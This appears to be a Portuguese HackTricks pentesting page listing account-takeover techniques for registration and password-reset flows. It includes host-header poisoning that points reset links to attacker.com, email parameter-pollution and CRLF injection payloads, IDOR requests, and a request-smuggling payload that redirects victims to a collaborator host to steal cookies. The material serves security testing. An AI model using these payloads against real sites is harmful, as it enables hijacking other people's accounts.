Vulnerabilidades de Registro e Tomada de Controle
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao š¬ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter š¦ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Tomada de Controle de Registro
Registro Duplicado
- Tente gerar usando um nome de usuƔrio existente
- Verifique variando o email:
- maiĆŗsculas
- +1@
- adicione algum ponto no email
- caracteres especiais no nome do email (%00, %09, %20)
- Coloque caracteres pretos após o email:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Enumeração de Nomes de UsuÔrio
Verifique se você consegue descobrir quando um nome de usuÔrio jÔ foi registrado dentro da aplicação.
PolĆtica de Senhas
Ao criar um usuĆ”rio, verifique a polĆtica de senhas (verifique se vocĆŖ pode usar senhas fracas).
Nesse caso, você pode tentar forçar credenciais.
Injeção de SQL
Verifique esta pƔgina para aprender como tentar tomadas de controle de conta ou extrair informaƧƵes via InjeƧƵes de SQL em formulƔrios de registro.
Tomadas de Controle Oauth
Vulnerabilidades SAML
Alterar Email
Quando registrado, tente alterar o email e verifique se essa alteração é validada corretamente ou se pode alterÔ-lo para emails arbitrÔrios.
Mais VerificaƧƵes
- Verifique se você pode usar emails descartÔveis
- Senhas longas (>200) levam a DoS
- Verifique limites de taxa na criação de contas
- Use username@burp_collab.net e analise o callback
Tomada de Controle de Redefinição de Senha
Vazamento de Token de Redefinição de Senha Via Referenciador
- Solicite a redefinição de senha para seu endereço de email
- Clique no link de redefinição de senha
- NĆ£o altere a senha
- Clique em qualquer site de terceiros (ex: Facebook, Twitter)
- Intercepte a solicitação no proxy Burp Suite
- Verifique se o cabeçalho referer estÔ vazando o token de redefinição de senha.
Envenenamento de Redefinição de Senha
- Intercepte a solicitação de redefinição de senha no Burp Suite
- Adicione ou edite os seguintes cabeƧalhos no Burp Suite:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Encaminhe a solicitação com o cabeçalho modificado
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Procure uma URL de redefinição de senha com base no cabeçalho host como:
https://attacker.com/reset-password.php?token=TOKEN
Redefinição de Senha Via Parâmetro de Email
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR em Parâmetros da API
- O atacante deve fazer login com sua conta e ir para a funcionalidade Alterar senha.
- Inicie o Burp Suite e intercepte a solicitação.
- Envie para a aba de repetição e edite os parâmetros: User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Token de Redefinição de Senha Fraco
O token de redefinição de senha deve ser gerado aleatoriamente e ser único a cada vez.
Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos, o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variÔveis podem ser usadas pelo algoritmo.
- Timestamp
- UserID
- Email do UsuƔrio
- Primeiro e Ćltimo Nome
- Data de Nascimento
- Criptografia
- Apenas NĆŗmeros
- SequĆŖncia de token pequena (caracteres entre [A-Z,a-z,0-9])
- Reutilização de token
- Data de expiração do token
Vazamento de Token de Redefinição de Senha
- Acione um pedido de redefinição de senha usando a API/UI para um email especĆfico, por exemplo: test@mail.com
- Inspecione a resposta do servidor e verifique o
resetToken
- Em seguida, use o token em uma URL como
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Redefinição de Senha Via Colisão de Nome de UsuÔrio
- Registre-se no sistema com um nome de usuĆ”rio idĆŖntico ao nome de usuĆ”rio da vĆtima, mas com espaƧos em branco inseridos antes e/ou depois do nome de usuĆ”rio. por exemplo:
"admin "
- Solicite uma redefinição de senha com seu nome de usuÔrio malicioso.
- Use o token enviado para seu email e redefina a senha da vĆtima.
- Conecte-se Ć conta da vĆtima com a nova senha.
A plataforma CTFd foi vulnerƔvel a este ataque.
Veja: CVE-2020-7245
Tomada de Conta Via Cross Site Scripting
- Encontre um XSS dentro da aplicação ou de um subdomĆnio se os cookies estiverem restritos ao domĆnio pai:
*.domain.com
- Vaze o cookie de sessƵes atual.
- Autentique-se como o usuƔrio usando o cookie.
Tomada de Conta Via HTTP Request Smuggling
1. Use smuggler para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crie uma solicitação que sobrescreva o POST / HTTP/1.1
com os seguintes dados:
GET http://something.burpcollaborator.net HTTP/1.1 X:
com o objetivo de redirecionar as vĆtimas para burpcollab e roubar seus cookies
3. A solicitação final pode parecer com o seguinte
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone relata a exploração deste bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Tomada de Conta via CSRF
- Crie um payload para o CSRF, por exemplo: āformulĆ”rio HTML com envio automĆ”tico para uma alteração de senhaā
- Envie o payload
Tomada de Conta via JWT
JSON Web Token pode ser usado para autenticar um usuƔrio.
- Edite o JWT com outro ID de UsuƔrio / Email
- Verifique a assinatura JWT fraca
JWT Vulnerabilities (Json Web Tokens)
ReferĆŖncias
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao š¬ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter š¦ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.